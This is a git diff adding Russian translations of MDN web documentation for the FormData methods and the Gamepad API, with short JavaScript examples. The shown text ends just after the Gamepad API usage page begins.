{{domxref("FormData.set")}}
+
Устанавливает новое значение для существующего ключа объекта FormData, или добавляет пару ключ-значение, если таковой не обнаружено в объекте.
+
+ +
+

Важно: Разница между {{domxref("FormData.set()")}} и {{domxref("FormData.append()")}} заключается в том, что если указанный ключ найден в объекте, {{domxref("FormData.set()")}} перезапишет его новым значением, тогда как {{domxref("FormData.append()")}} добавит новое значение в конец существующего. Смотрите дополнительные материалы с примерами. 

+
+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусПримечание
{{SpecName('XMLHttpRequest','#interface-formdata','FormData')}}{{Spec2('XMLHttpRequest')}}FormData определен в XHR spec
+ +

Совместимость

+ + + +

{{Compat("api.FormData")}}

+ +

Смотри также

+ + diff --git a/files/ru/web/api/formdata/keys/index.html b/files/ru/web/api/formdata/keys/index.html new file mode 100644 index 0000000000..164b2b7a04 --- /dev/null +++ b/files/ru/web/api/formdata/keys/index.html @@ -0,0 +1,70 @@ +--- +title: FormData.keys() +slug: Web/API/FormData/keys +translation_of: Web/API/FormData/keys +--- +

{{APIRef("XMLHttpRequest")}}

+ +

FormData.keys() метод возвращает {{jsxref("Iteration_protocols",'iterator')}} позволяя пройтись по всем ключам содержащимся в этом объекте. Ключи являются {{domxref("USVString")}} объектами.

+ +
+

Примечание: Метод доступен в Web Workers.

+
+ +

Синтаксис

+ +
formData.keys();
+ +

Возвращаемые значения

+ +

Возвращает {{jsxref("Iteration_protocols","iterator")}}.

+ +

Пример

+ +
// Create a test FormData object
+var formData = new FormData();
+formData.append('key1', 'value1');
+formData.append('key2', 'value2');
+
+// Display the keys
+for (var key of formData.keys()) {
+   console.log(key);
+}
+
+ +

Результат:

+ +
key1
+key2
+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('XMLHttpRequest','#dom-formdata','keys() (as iterator<>)')}}{{Spec2('XMLHttpRequest')}}Начальное определение
+ +

Поддержка браузерами

+ + + +

{{Compat("api.FormData.keys")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/formdata/set/index.html b/files/ru/web/api/formdata/set/index.html new file mode 100644 index 0000000000..e07505b0f1 --- /dev/null +++ b/files/ru/web/api/formdata/set/index.html @@ -0,0 +1,77 @@ +--- +title: FormData.set() +slug: Web/API/FormData/set +translation_of: Web/API/FormData/set +--- +

{{APIRef("XMLHttpRequest")}}

+ +

Метод set() из интерфейса {{domxref("FormData")}} присваивает новое значение существующему ключу внутри объекта FormData , или добавляет ключ/значение если до этого они не были установлены.

+ +

Разница между set() и {{domxref("FormData.append")}} в том, что если заданный ключ уже существует, set() заменит данные в нем на новые, а {{domxref("FormData.append")}}  добавит новое значение к остальным в конец.

+ +
+

Примечание: Данный метод также доступен в Web Workers.

+
+ +

Синтаксис

+ +

Существует две формы использования данной функции: с двумя и тремя параметрами:

+ +
formData.set(name, value);
+formData.set(name, value, filename);
+ +

Параметры

+ +
+
name
+
Имя поля, которому будет присвоен value.
+
value
+
Значение, присваиваемое полю. В варианте с двумя параметрами, это USVString, если нет, то оно будет конвертировано. В варианте с тремя параметрами это может быть Blob, File, или USVString, И снова, если ни один из них не указан в значении то оно будет конвертировано в строку.
+
filename {{optional_inline}}
+
Имя файла, которое будет отправлено серверу (USVString), когда Blob или File прошел проверку как второй параметр. Стандартное имя файла для Blob объектов это "blob".
+
+ +
+

Примечание: Если вы укажете Blob в качестве данных для включения в объект FormData, имя файла будет указано для сервера в заголовке "Content-Disposition" и может отличаться от браузера к браузеру.

+
+ +

Пример

+ +

Следующий код создает пустой FormData объект:

+ +
var formData = new FormData(); // Сейчас пустой
+ +

Вы можете установить для него пару ключ/значение, используя {{domxref("FormData.set")}}:

+ +
formData.set('username', 'Chris');
+formData.set('userpic', myFileInput.files[0], 'chris.jpg');
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest','#dom-formdata-set','set()')}}{{Spec2('XMLHttpRequest')}}
+ +

Browser compatibility

+ +
{{Compat("api.FormData.set")}}
+ +

See also

+ + diff --git a/files/ru/web/api/formdata/using_formdata_objects/index.html b/files/ru/web/api/formdata/using_formdata_objects/index.html new file mode 100644 index 0000000000..0e2b1312ec --- /dev/null +++ b/files/ru/web/api/formdata/using_formdata_objects/index.html @@ -0,0 +1,141 @@ +--- +title: Использование Объектов FormData +slug: Web/API/FormData/Using_FormData_Objects +translation_of: Web/API/FormData/Using_FormData_Objects +--- +

Объект FormData позволяет создать набор пар ключ/значение и передать их, используя XMLHttpRequest. Объект FormData предназначен для передачи данных форм, однако может быть использован для передачи пар ключ/значение независимо от форм. Данные передаются в том же формате, как и данные, передаваемые методом {{domxref("HTMLFormElement.submit","submit()")}} формы, с установленной кодировкой enctype="multipart/form-data".

+ +

Создание объекта FormData

+ +

Вы можете самостоятельно создать пустой объект FormData, наполнив его затем данными, используя его метод {{domxref("FormData.append","append()")}}:

+ +
var formData = new FormData();
+
+formData.append("username", "Groucho");
+formData.append("accountnum", 123456); // число 123456 немедленно преобразуется в строку "123456"
+
+// Файл, выбранный пользователем
+formData.append("userfile", fileInputElement.files[0]);
+
+// JavaScript Blob объект
+var content = '<a id="a"><b id="b">hey!</b></a>'; // содержимое нового файла...
+var blob = new Blob([content], { type: "text/xml"});
+
+formData.append("webmasterfile", blob);
+
+var request = new XMLHttpRequest();
+request.open("POST", "http://foo.com/submitform.php");
+request.send(formData);
+
+ +
Примечание:  Поля "userfile" и "webmasterfile" оба содержат файлы. Число, переданное полю "accountnum" немедленно преобразуется в строку. Преобразование осуществляется методом FormData.append() (Значение поля может быть {{ domxref("Blob") }}, {{ domxref("File") }}, или строкой: если значение не является ни Blob, ни File, то оно автоматически преобразуется в строку).
+ +

Данный пример показывает создание экземпляра FormData, содержащего поля "username", "accountnum", "userfile" и "webmasterfile". Экземпляр FormData затем отправляется при помощи метода send() объекта XMLHttpRequest. Поле "webmasterfile" является экземпляром класса {{domxref("Blob")}}. Объект класса Blob является файло-подобным объектом, содержащим "сырые" данные. Определение данных как Blob не является обязательным в нативном javascript. Интерфейс {{ domxref("File") }} базируется на Blob, наследуя его функциональность и расширяя его для поддержки файлов в ОС пользователя. Для создания объектов класса Blob используйте {{domxref("Blob.Blob","Blob() constructor")}}.

+ +

Получение объекта FormData из HTML формы

+ +

Для создания объекта FormDatа, содержащего данные существующей формы ({{ HTMLElement("form") }}) передайте форму в качестве аргумента при создании объекта FormData:

+ +
+

Примечание: FormData будет использовать только те поля ввода, которые используют атрибут name.

+
+ +
var formData = new FormData(someFormElement);
+
+ +

Например:

+ +
var formElement = document.querySelector("form");
+var request = new XMLHttpRequest();
+request.open("POST", "submitform.php");
+request.send(new FormData(formElement));
+
+ +

Вы так же можете добавить дополнительные данные в объект FormData после его создания и до отправки данных:

+ +
var formElement = document.querySelector("form");
+var formData = new FormData(formElement);
+var request = new XMLHttpRequest();
+request.open("POST", "submitform.php");
+formData.append("serialnumber", serialNumber++);
+request.send(formData);
+ +

Такой приём позволяет включать в форму дополнительную информацию, которая, например, не нуждается в демонстрации пользователю.

+ +

Отправка файлов при помощи объекта FormData

+ +

Вы так же можете отправлять файлы при помощи FormData. Просто включите {{ HTMLElement("input") }} с типом file в форму.

+ +
<form enctype="multipart/form-data" method="post" name="fileinfo">
+  <label>Your email address:</label>
+  <input type="email" autocomplete="on" autofocus name="userid" placeholder="email" required size="32" maxlength="64" /><br />
+  <label>Custom file label:</label>
+  <input type="text" name="filelabel" size="12" maxlength="32" /><br />
+  <label>File to stash:</label>
+  <input type="file" name="file" required />
+  <input type="submit" value="Stash the file!" />
+</form>
+<div></div>
+
+ +

Затем вы сможете отправить выбранный файл следующим образом:

+ +
var form = document.forms.namedItem("fileinfo");
+form.addEventListener('submit', function(ev) {
+
+  var oOutput = document.querySelector("div"),
+      oData = new FormData(form);
+
+  oData.append("CustomField", "This is some extra data");
+
+  var oReq = new XMLHttpRequest();
+  oReq.open("POST", "stash.php", true);
+  oReq.onload = function(oEvent) {
+    if (oReq.status == 200) {
+      oOutput.innerHTML = "Uploaded!";
+    } else {
+      oOutput.innerHTML = "Error " + oReq.status + " occurred when trying to upload your file.<br \/>";
+    }
+  };
+
+  oReq.send(oData);
+  ev.preventDefault();
+}, false);
+
+ +
+

Примечание: Если для формы указан атрибут method, то будет использован именно этот метод для отправки данных на сервер, а не метод, указанный в вызове open()

+
+ +

Вы так же можете добавить {{ domxref("File") }} или {{ domxref("Blob") }} непосредственно к объекту {{ domxref("FormData") }}:

+ +
data.append("myfile", myBlob, "filename.txt");
+
+ +

Метод {{domxref("FormData.append","append()")}} принимает 3й опциональный параметр - название файла, которое добавляется в заголовок Content-Disposition при отправке на сервер. Если название файла не указано (или данный параметр не поддерживается) используется имя "blob".

+ +

Вы так же можете использовать FormData с jQuery:

+ +
var fd = new FormData(document.querySelector("form"));
+fd.append("CustomField", "This is some extra data");
+$.ajax({
+  url: "stash.php",
+  type: "POST",
+  data: fd,
+  processData: false,  // Сообщить jQuery не передавать эти данные
+  contentType: false   // Сообщить jQuery не передавать тип контента
+});
+
+ +

Отправка форм и файлов при помощи AJAX без использования объекта FormData

+ +

Если вы заинтересованы в отправке форм и файлов при помощи AJAX без использования FormData, прочитайте /ru/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files

+ +

See also

+ + diff --git a/files/ru/web/api/formdata/values/index.html b/files/ru/web/api/formdata/values/index.html new file mode 100644 index 0000000000..55026a018f --- /dev/null +++ b/files/ru/web/api/formdata/values/index.html @@ -0,0 +1,70 @@ +--- +title: FormData.values() +slug: Web/API/FormData/values +translation_of: Web/API/FormData/values +--- +

{{APIRef("XMLHttpRequest")}}

+ +

The FormData.values() метод возвращает {{jsxref("Iteration_protocols",'iterator')}} позволяя пройтись по всем значениям в этом объекте. Значения - это {{domxref("USVString")}} или {{domxref("Blob")}} объекты.

+ +
+

Примечание: Метод доступен в Web Workers.

+
+ +

Синтаксис

+ +
formData.values();
+ +

Возвращаемые значения

+ +

Возвращает {{jsxref("Iteration_protocols","iterator")}}.

+ +

Пример

+ +
// Create a test FormData object
+var formData = new FormData();
+formData.append('key1', 'value1');
+formData.append('key2', 'value2');
+
+// Display the values
+for (var value of formData.values()) {
+   console.log(value);
+}
+
+ +

Результат:

+ +
value1
+value2
+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('XMLHttpRequest','#dom-formdata','values() (as iterator<>)')}}{{Spec2('XMLHttpRequest')}}Начальное определение
+ +

Поддержка браузерами

+ + + +

{{Compat("api.FormData.values")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/gamepad/axes/index.html b/files/ru/web/api/gamepad/axes/index.html new file mode 100644 index 0000000000..eb16be54c3 --- /dev/null +++ b/files/ru/web/api/gamepad/axes/index.html @@ -0,0 +1,70 @@ +--- +title: Gamepad.axes +slug: Web/API/Gamepad/axes +translation_of: Web/API/Gamepad/axes +--- +

{{APIRef("Gamepad API")}}

+ +

Свойство Gamepad.axes интерфейса {{domxref("Gamepad") }} возвращает массив, показывающий состояние элементов управления, имеющих оси направления, такие как джойстики на геймпаде.

+ +

Каждый элемент массива - дробное число в диапазоне от -1.0 до 1.0, показывающий состояние от самого маленького значения (-1.0) до самого высокого (1.0).

+ +

Синтаксис

+ +
readonly    attribute double[]            axes;
+ +

Пример

+ +
function gameLoop() {
+  if(navigator.webkitGetGamepads) {
+    var gp = navigator.webkitGetGamepads()[0];
+  } else {
+    var gp = navigator.getGamepads()[0];
+  }
+
+  if(gp.axes[0] != 0) {
+    b -= gp.axes[0];
+  } else if(gp.axes[1] != 0) {
+    a += gp.axes[1];
+  } else if(gp.axes[2] != 0) {
+    b += gp.axes[2];
+  } else if(gp.axes[3] != 0) {
+    a -= gp.axes[3];
+  }
+
+  ball.style.left = a*2 + "px";
+  ball.style.top = b*2 + "px";
+
+  var start = rAF(gameLoop);
+};
+ +

Значение

+ +

Массив значений {{domxref("double") }} 

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Gamepad", "#dom-gamepad-axes", "Gamepad.axes")}}{{Spec2("Gamepad")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Gamepad.axes")}}

+ +

See also

+ +

Using the Gamepad API

diff --git a/files/ru/web/api/gamepad/buttons/index.html b/files/ru/web/api/gamepad/buttons/index.html new file mode 100644 index 0000000000..f17b3cc9d1 --- /dev/null +++ b/files/ru/web/api/gamepad/buttons/index.html @@ -0,0 +1,91 @@ +--- +title: Gamepad.buttons +slug: Web/API/Gamepad/buttons +translation_of: Web/API/Gamepad/buttons +--- +

{{APIRef("Gamepad API")}}

+ + + +

Свойство Gamepad.buttons интерфейса {{domxref("Gamepad") }} возвращает массив, сосотоящий из объектов {{domxref("gamepadButton")}}, представляющие кнопки, представленные на устройстве (геймпаде). 

+ +

Каждый элемент в массиве равен 0 если кнопка не нажата, и не-нуль (обычно 1.0) если нажата. Каждый объект {{domxref("gamepadButton")}} содержит два параметра: pressed и value:

+ + + +

Синтакс

+ +
readonly    attribute GamepadButton[]     buttons;
+ +

Пример

+ +

Приведенный код взят из моего (автора статьи) демо Gamepad API button (вы можете  Посмотреть демо, и посмотреть исходники на GitHub). Важно — в Chrome Navigator.getGamepads неободимо установить префикс webkit, и значения кнопки будут представлять из себя массив дробных чисел, тогда как в  Firefox Navigator.getGamepads нет необходимости устанавливать префикс, и значения будут представлять собой массив  объектов GamepadButton; Свойство GamepadButton.value или GamepadButton.pressed необходимо для получения состояния кнопки, в зависимости от от типа кнопки. В данном простом примере обрабатывается оба вида кнопок.

+ +
function gameLoop() {
+  if(navigator.webkitGetGamepads) {
+    var gp = navigator.webkitGetGamepads()[0];
+
+    if(gp.buttons[0] == 1) {
+      b--;
+    } else if(gp.buttons[1] == 1) {
+      a++;
+    } else if(gp.buttons[2] == 1) {
+      b++;
+    } else if(gp.buttons[3] == 1) {
+      a--;
+    }
+  } else {
+    var gp = navigator.getGamepads()[0];
+
+    if(gp.buttons[0].value > 0 || gp.buttons[0].pressed == true) {
+      b--;
+    } else if(gp.buttons[1].value > 0 || gp.buttons[1].pressed == true) {
+      a++;
+    } else if(gp.buttons[2].value > 0 || gp.buttons[2].pressed == true) {
+      b++;
+    } else if(gp.buttons[3].value > 0 || gp.buttons[3].pressed == true) {
+      a--;
+    }
+  }
+
+  ball.style.left = a*2 + "px";
+  ball.style.top = b*2 + "px";
+
+  var start = window.requestAnimationFrame(gameLoop);
+};
+ +

Значение

+ +

Массив из объектов {{domxref("gamepadButton")}}

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Gamepad", "#dom-gamepad-buttons", "Gamepad.buttons")}}{{Spec2("Gamepad")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Gamepad.buttons")}}

+ +
+ +

См. также

+ +

Using the Gamepad API

diff --git a/files/ru/web/api/gamepad/connected/index.html b/files/ru/web/api/gamepad/connected/index.html new file mode 100644 index 0000000000..8170c0f537 --- /dev/null +++ b/files/ru/web/api/gamepad/connected/index.html @@ -0,0 +1,48 @@ +--- +title: Gamepad.connected +slug: Web/API/Gamepad/connected +translation_of: Web/API/Gamepad/connected +--- +

{{APIRef("Gamepad API")}}

+ +

Свойство Gamepad.connected интерфейса {{domxref("Gamepad") }} возвращает логическое значение того, подключен ли всё ещё геймпад к системе.

+ +

Если геймпад подключен - значение равно true; если нет - false.

+ +

Синтаксис

+ +
 readonly    attribute boolean             connected;
+ +

Пример

+ +
var gp = navigator.getGamepads()[0];
+console.log(gp.connected);
+ +

Значение

+ +

{{jsxref("Boolean")}}.

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("Gamepad", "#widl-Gamepad-connected", "Gamepad.connected")}}{{Spec2("Gamepad")}}Первоначальное определение
+ +

Совместимость с браузерами

+ +

{{Compat("api.Gamepad.connected")}}

+ +

Смотрите также

+ +

Using the Gamepad API

diff --git a/files/ru/web/api/gamepad/displayid/index.html b/files/ru/web/api/gamepad/displayid/index.html new file mode 100644 index 0000000000..0b3f71009e --- /dev/null +++ b/files/ru/web/api/gamepad/displayid/index.html @@ -0,0 +1,58 @@ +--- +title: Gamepad.displayId +slug: Web/API/Gamepad/displayId +tags: + - Виртуальная реальность +translation_of: Web/API/Gamepad/displayId +--- +

{{DefaultAPISidebar("WebVR API")}}{{SeeCompatTable}}

+ +

Свойство displayId только для чтения {{domxref("Gamepad")}} возвращаемый интерфейс {{domxref("VRDisplay.displayId")}} связанный с {{domxref("VRDisplay")}} —  VRDisplay  (дисплей виртуальной реальности) в котором геймпад управляет отображаемой сценой.

+ +

Геймпад считается связанным с {{domxref("VRDisplay")}} если он сообщает о позиции, которая находится в том же месте, что и {{domxref("VRDisplay.pose")}}.

+ +

Syntax

+ +
var myDisplayId = gamepadInstance.displayId;
+ +

Value

+ +

Число, представляющее связанный интерфейс {{domxref("VRDisplay.displayId")}}.Если число равно 0, то геймпад не связан с дисплеем VR( виртуальной реальности).

+ +

Examples

+ +
window.addEventListener("gamepadconnected", function(e) {
+  if(!e.gamepad.displayId) {
+    console.log('Gamepad connected');
+  } else {
+    console.log('Gamepad connected, associated with VR display ' + e.gamepad.displayId);
+  }
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebVR 1.1', '#gamepad-getvrdisplays-attribute', 'displayId')}}{{Spec2('WebVR 1.1')}}Initial definition
+ +

Browser compatibility

+ +

{{Compat("api.Gamepad.displayId")}}

+ +

See also

+ + diff --git a/files/ru/web/api/gamepad/id/index.html b/files/ru/web/api/gamepad/id/index.html new file mode 100644 index 0000000000..ef66df6574 --- /dev/null +++ b/files/ru/web/api/gamepad/id/index.html @@ -0,0 +1,59 @@ +--- +title: Gamepad.id +slug: Web/API/Gamepad/id +translation_of: Web/API/Gamepad/id +--- +
{{APIRef("Gamepad API")}}
+ +

Свойство Gamepad.id интерфейса {{domxref("Gamepad") }} возвращает строку, содержащую некоторую информацию о контроллере.

+ +

Существующий синтаксис не стандартизирован, но в Firefox эта строка представляет собой три значения, разделенные тире (-):

+ + + +

Например, PS2 контроллер вернет 810-3-USB Gamepad.

+ +

Эта информация позволяет вам найти соответствие для элементов управления контроллера, а также, отобразить полезную информацию для пользователя.

+ +

Синтаксис

+ +
readonly    attribute DOMString           id;
+ +

Пример

+ +
window.addEventListener("gamepadconnected", function() {
+  var gp = navigator.getGamepads()[0];
+  gamepadInfo.innerHTML = "Gamepad connected at index " + gp.index + ": " + gp.id + ".";
+});
+ +

Значение

+ +

{{jsxref("String")}}.

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("Gamepad", "#widl-Gamepad-id", "Gamepad.id")}}{{Spec2("Gamepad")}}Первоначальное определение
+ +

Совместимость с браузерами

+ +

{{Compat("api.Gamepad.id")}}

+ +

Смотрите также

+ +

Using the Gamepad API

diff --git a/files/ru/web/api/gamepad/index.html b/files/ru/web/api/gamepad/index.html new file mode 100644 index 0000000000..2059e361da --- /dev/null +++ b/files/ru/web/api/gamepad/index.html @@ -0,0 +1,92 @@ +--- +title: Gamepad +slug: Web/API/Gamepad +translation_of: Web/API/Gamepad +--- +
{{APIRef("Gamepad API")}}
+ +

Интерфейс Gamepad Gamepad API определяет отдельный геймпад или контроллер, предоставляющий доступ к такой информации, как: нажатие кнопок, позиции осей, и id.

+ +

Объект Gamepad может быть возвращен в одном из двух случаев: как свойство gamepad событий {{event("gamepadconnected")}} и {{event("gamepaddisconnected")}}, или считыванием любой позиции в массиве, возвращенном методом {{domxref("Navigator.getGamepads()")}}.

+ +

Свойства

+ +
+
{{domxref("Gamepad.displayId")}} {{readonlyInline}}
+
Возвращает {{domxref("VRDisplay.displayId")}} связанный с {{domxref("VRDisplay")}} (при необходимости) — VRDisplay отображаемая область которого управляется геймпадом.
+
{{domxref("Gamepad.id")}} {{readonlyInline}}
+
{{domxref("DOMString")}} содержит идентификационную информацию о контроллере.
+
{{domxref("Gamepad.index")}} {{readonlyInline}}
+
Целое автоинкрементируемое значение, уникальное для каждого устройства, подключенного в данный момент к системе.
+
{{domxref("Gamepad.mapping")}} {{readonlyInline}}
+
Строка, указывающая, переназначил ли браузер элементы управления устройства на уже известный шаблон.
+
{{domxref("Gamepad.connected")}} {{readonlyInline}}
+
Логическое свойство показывающее, подключен ли геймпад к системе в данный момент.
+
{{domxref("Gamepad.buttons")}} {{readonlyInline}}
+
Массив объектов {{domxref("gamepadButton")}} представляющих кнопки устройства.
+
{{domxref("Gamepad.axes")}} {{readonlyInline}}
+
Массив, представляющий элементы управления осями устройства (например, аналоговые стики).
+
{{domxref("Gamepad.timestamp")}} {{readonlyInline}}
+
{{domxref("DOMHighResTimeStamp")}} представляет время последнего обновления данных геймпада.
+
+ +

Экспериментальные расширения для Gamepad

+ +

Следующие интерфейсы определены в спецификации {{SpecName("GamepadExtensions")}}, и предоставляют доступ к экспериментальным возможностям, таким как тактильная обратная связь (haptic feedback) и информация о положении WebVR контроллера.

+ +
+
{{domxref("Gamepad.hand")}} {{readonlyInline}}
+
Перечисляемое значение, которое определяет в какой руке находится контроллер.
+
{{domxref("Gamepad.hapticActuators")}} {{readonlyInline}}
+
Массив, содержащий объекты {{domxref("GamepadHapticActuator")}}, каждый из которых представляет собой аппаратные средства тактильной обратной связи (haptic feedbac) доступные для контроллера.
+
{{domxref("Gamepad.pose")}} {{readonlyInline}}
+
Объект {{domxref("GamepadPose")}} представляет информацию о положении WebVR контроллера (например, позиция и ориентация в 3D пространстве).
+
+ +

Пример

+ +
window.addEventListener("gamepadconnected", function(e) {
+  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
+  e.gamepad.index, e.gamepad.id,
+  e.gamepad.buttons.length, e.gamepad.axes.length);
+});
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("Gamepad", "#gamepad-interface", "Gamepad")}}{{Spec2("Gamepad")}}Первоначальное определение
{{SpecName('WebVR 1.1', '#gamepad-getvrdisplays-attribute', 'displayId')}}{{Spec2("WebVR 1.1")}}Определено свойство {{domxref("Gamepad.displayId")}}.
{{SpecName("GamepadExtensions", "#partial-gamepad-interface", "Gamepad extensions")}}{{Spec2("GamepadExtensions")}}Определены {{anch("Экспериментальные расширения для Gamepad")}}
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Gamepad")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/gamepad/index/index.html b/files/ru/web/api/gamepad/index/index.html new file mode 100644 index 0000000000..2e51e57342 --- /dev/null +++ b/files/ru/web/api/gamepad/index/index.html @@ -0,0 +1,50 @@ +--- +title: Gamepad.index +slug: Web/API/Gamepad/index +translation_of: Web/API/Gamepad/index +--- +
{{APIRef("Gamepad API")}}
+ +

Свойство Gamepad.index интерфейса {{domxref("Gamepad") }} возвращает целое автоинкрементируемое значение, уникальное для каждого устройства, подключенного к системе.

+ +

Это может быть полезно для распознавания нескольких контроллеров; отключенный, и подключенный заново геймпад, будет иметь тот же индекс.

+ +

Синтаксис

+ +
readonly    attribute long                index;
+ +

Пример

+ +
window.addEventListener("gamepadconnected", function() {
+  var gp = navigator.getGamepads()[0];
+  gamepadInfo.innerHTML = "Gamepad connected at index " + gp.index + ": " + gp.id + ".";
+});
+ +

Значение

+ +

{{jsxref("Number") }}.

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("Gamepad", "#widl-Gamepad-index", "Gamepad.index")}}{{Spec2("Gamepad")}}Первоначальное определение
+ +

Совместимость с браузерами

+ +

{{Compat("api.Gamepad.index")}}

+ +

Смотрите также

+ +

Using the Gamepad API

diff --git a/files/ru/web/api/gamepad/mapping/index.html b/files/ru/web/api/gamepad/mapping/index.html new file mode 100644 index 0000000000..5fad34e1b5 --- /dev/null +++ b/files/ru/web/api/gamepad/mapping/index.html @@ -0,0 +1,48 @@ +--- +title: Gamepad.mapping +slug: Web/API/Gamepad/mapping +translation_of: Web/API/Gamepad/mapping +--- +

{{APIRef("Gamepad API")}}

+ +

Свойство Gamepad.mapping интерфейса {{domxref("Gamepad")}} возвращает строковый индикатор, указывающий, изменил ли браузер элементы управления на уже известный шабон

+ +

На данный момент существует один поддерживаемый шаблон - standard gamepad. Если браузер позволяет поменять элементы управления в данном шаблоне, свойство  mapping будет установлено строко "standard".

+ +

Синтаксис

+ +
readonly    attribute DOMString           mapping;
+ +

Пример

+ +
var gp = navigator.getGamepads()[0];
+console.log(gp.mapping);
+ +

Значение

+ +

A {{domxref("string")}}.

+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Gamepad", "#dom-gamepad-mapping", "Gamepad.mapping")}}{{Spec2("Gamepad")}}Initial definition
+ +

Браузерная совместимость

+ +

{{Compat("api.Gamepad.mapping")}}

+ +

См. также

+ +

Using the Gamepad API

diff --git a/files/ru/web/api/gamepad/timestamp/index.html b/files/ru/web/api/gamepad/timestamp/index.html new file mode 100644 index 0000000000..e2352b126d --- /dev/null +++ b/files/ru/web/api/gamepad/timestamp/index.html @@ -0,0 +1,52 @@ +--- +title: Gamepad.timestamp +slug: Web/API/Gamepad/timestamp +translation_of: Web/API/Gamepad/timestamp +--- +
{{APIRef("Gamepad API")}}
+ +

Свойство Gamepad.timestamp интерфейса {{domxref("Gamepad")}} возвращает {{domxref("DOMHighResTimeStamp")}}, представляющий собой время последнего обновления геймпада.

+ +

Идея состоит в том, чтобы позволить разработчику определить, были ли изменены данные для axes и button на аппаратном обеспечении. Значение должно быть установлено относительно атрибута navigationStart интерфейса {{domxref("PerformanceTiming")}}. Значения монотонно увеличиваются, поэтому их можно сравнивать, чтобы определить порядок изменений, т.к. новые значения всегда будут больше или равны старым.

+ +
+

Примечание: В данный момент, это свойство нигде не поддерживается.

+
+ +

Синтаксис

+ +
readonly    attribute DOMHighResTimeStamp timestamp;
+ +

Пример

+ +
var gp = navigator.getGamepads()[0];
+console.log(gp.timestamp);
+ +

Значение

+ +

{{domxref("DOMHighResTimeStamp")}}.

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("Gamepad", "#widl-Gamepad-timestamp", "Gamepad.timestamp")}}{{Spec2("Gamepad")}}Первоначальное определение
+ +

Совместимость с браузерами

+ +

{{Compat("api.Gamepad.timestamp")}}

+ +

Смотрите также

+ +

Using the Gamepad API

diff --git a/files/ru/web/api/gamepad_api/index.html b/files/ru/web/api/gamepad_api/index.html new file mode 100644 index 0000000000..53ecea9f2b --- /dev/null +++ b/files/ru/web/api/gamepad_api/index.html @@ -0,0 +1,99 @@ +--- +title: Gamepad API +slug: Web/API/Gamepad_API +tags: + - API + - Gamepad API + - Игры + - Обзор + - Экспериментальный +translation_of: Web/API/Gamepad_API +--- +
{{DefaultAPISidebar("Gamepad API")}}
+ +

API Gamepad - это простой и последовательный способ для разработчиков получать доступ к сигналам с геймпадов и других игровых контроллеров и реагировать на них. Он содержит три интерфейса, два события и одну специализированную функцию, чтобы реагировать на подключение и отключение геймпадов, а также получать доступ к другой информации о самих геймпадах и о том, какие кнопки и другие элементы управления в настоящее время нажимаются.

+ +

Интерфейсы

+ +
+
Gamepad
+
Представляет собой геймпад/контроллер, подключенный к компьютеру.
+
GamepadButton
+
Представлят собой кнопку одного из подлюченных контроллеров
+
GamepadEvent
+
Объект события, представляющий запущенные события, связанные с геймпадами.
+
+ +

Экспериментальные расширения геймпада

+ +
+
GamepadHapticActuator
+
Представляет собой аппаратное обеспечение в контроллере, предназначенное для обеспечения тактильной обратной связи с пользователем (если таковая имеется), чаще всего вибрационное оборудование.
+
GamepadPose
+
Представляет собой позу контроллера (например, положение и ориентацию в трехмерном пространстве) в случае контроллера WebVR. Это не используется в более новом стандарте WebXR.
+
+ +

Сморите также extensions to the Gamepad interface (расширения интерфейса геймпада) для функций, которые позволяют получить доступ к вышеуказанной информации.

+ +

Расширения для других интерфейсов

+ +

Навигатор

+ +
+
{{domxref("Navigator.getGamepads()")}}
+
Расширение объекта {{domxref("Navigator")}}, возвращающее масссив объектов {{domxref("Gamepad")}} по одному для каждого подключенного геймпада.
+
+ +

События окна

+ +
+
{{domxref("Window.ongamepadconnected")}}
+
Представляет собой обработчик событий, который будет выполняться при подключении геймпада (когда срабатывает событие {{event('gamepadconnected')}}).
+
{{domxref("Window.ongamepaddisconnected")}}
+
Представляет собой обработчик событий, который будет выполняться при отключении геймпада (когда срабатывает событие {{event('gamepaddisconnected')}}).
+
+ +
+
+ +

Учебные пособия и руководства

+ + + +

Технические характеристики

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусПримечание
{{SpecName("GamepadExtensions")}}{{Spec2("GamepadExtensions")}}Определяет {{anch("Experimental Gamepad extensions")}}.
{{SpecName("Gamepad", "", "The Gamepad API specification")}}{{Spec2("Gamepad")}}Первононачальное определение
+ +

Совместимость браузера

+ + + +

{{Compat("api.Gamepad")}}

+ +

Прочтите также

+ + diff --git a/files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html b/files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html new file mode 100644 index 0000000000..6dea1ea38c --- /dev/null +++ b/files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html @@ -0,0 +1,341 @@ +--- +title: Using the Gamepad API +slug: Web/API/Gamepad_API/Using_the_Gamepad_API +translation_of: Web/API/Gamepad_API/Using_the_Gamepad_API +--- +

{{DefaultAPISidebar("Gamepad API")}}

+ +

